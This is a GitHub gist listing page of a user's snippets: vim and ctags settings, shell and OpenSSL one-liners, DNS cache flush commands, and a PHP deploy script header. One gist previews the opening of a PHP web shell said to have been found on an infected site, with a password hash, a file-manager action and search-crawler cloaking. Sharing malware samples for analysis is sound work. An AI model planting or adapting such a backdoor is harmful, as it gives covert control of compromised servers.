Skip to content

Instantly share code, notes, and snippets.

syntax on
set autoindent
set background=dark
set backspace=indent,eol,start
set clipboard=unnamed
set copyindent
set expandtab
set hidden
set ignorecase
set incsearch
@josuecau
josuecau / top.sh
Created February 22, 2016 18:55
Top 10 des commandes de ton historique shell
#!/bin/sh
history | awk '{print $2}' | sort | uniq -c | sort -nr | head
@josuecau
josuecau / system.php
Last active December 5, 2015 10:51
Un script PHP trouvé dans un site infecté
<?php
$auth_pass = "297dbe7699dcfa60609bf9e667e2e4dc";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {

Keybase proof

I hereby claim:

  • I am josuecau on github.
  • I am josuecau (https://keybase.io/josuecau) on keybase.
  • I have a public key whose fingerprint is 2665 4956 4923 586A 1170 93A1 EB86 FB52 29CE E548

To claim this, I am signing this object:

@josuecau
josuecau / gist:f63826a080eab948af48
Created October 13, 2015 15:07
Create an SSL Certificate for Nginx on Debian
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/nginx/ssl/nginx.key -out /etc/nginx/ssl/nginx.crt
@josuecau
josuecau / groupby.html
Created September 25, 2015 08:53
Split list into groups
<ol>
<li>A</li>
<li>B</li>
<li>C</li>
</ol>
<ol>
<li>D</li>
<li>E</li>
<li>F</li>
</ol>
<?php
/**
* Transfert des fichiers modifiés depuis un commit vers un hôte distant.
* Synopsis : php deploy.php commit [user@]host:dir
* Exemple : php deploy.php C0MM1TH45H^ host.example.com:/path/to/dir
*/
// Pas en CLI
if (PHP_SAPI !== 'cli') {
--recurse
--tag-relative=yes
--PHP-kinds=+cf-v
--exclude=.svn
--exclude=.git
--exclude=*.js
--regex-PHP=/abstract\s+class\s+([^ ]+)/\1/c/
--regex-PHP=/interface\s+([^ ]+)/\1/c/
{
"exclude": [
".git/**",
"node_modules/**",
"bower_components/**"
],
"always-semicolon": true,
"block-indent": " ",
"color-case": "lower",
"color-shorthand": true,
@josuecau
josuecau / gist:5a0e294d0b9c5421589e
Last active March 25, 2016 16:12
Vider le cache DNS pour un seul domaine
# Avec Unbound :
sudo unbound-control flush_zone example.com
# Avec BIND :
sudo rndc flushname example.com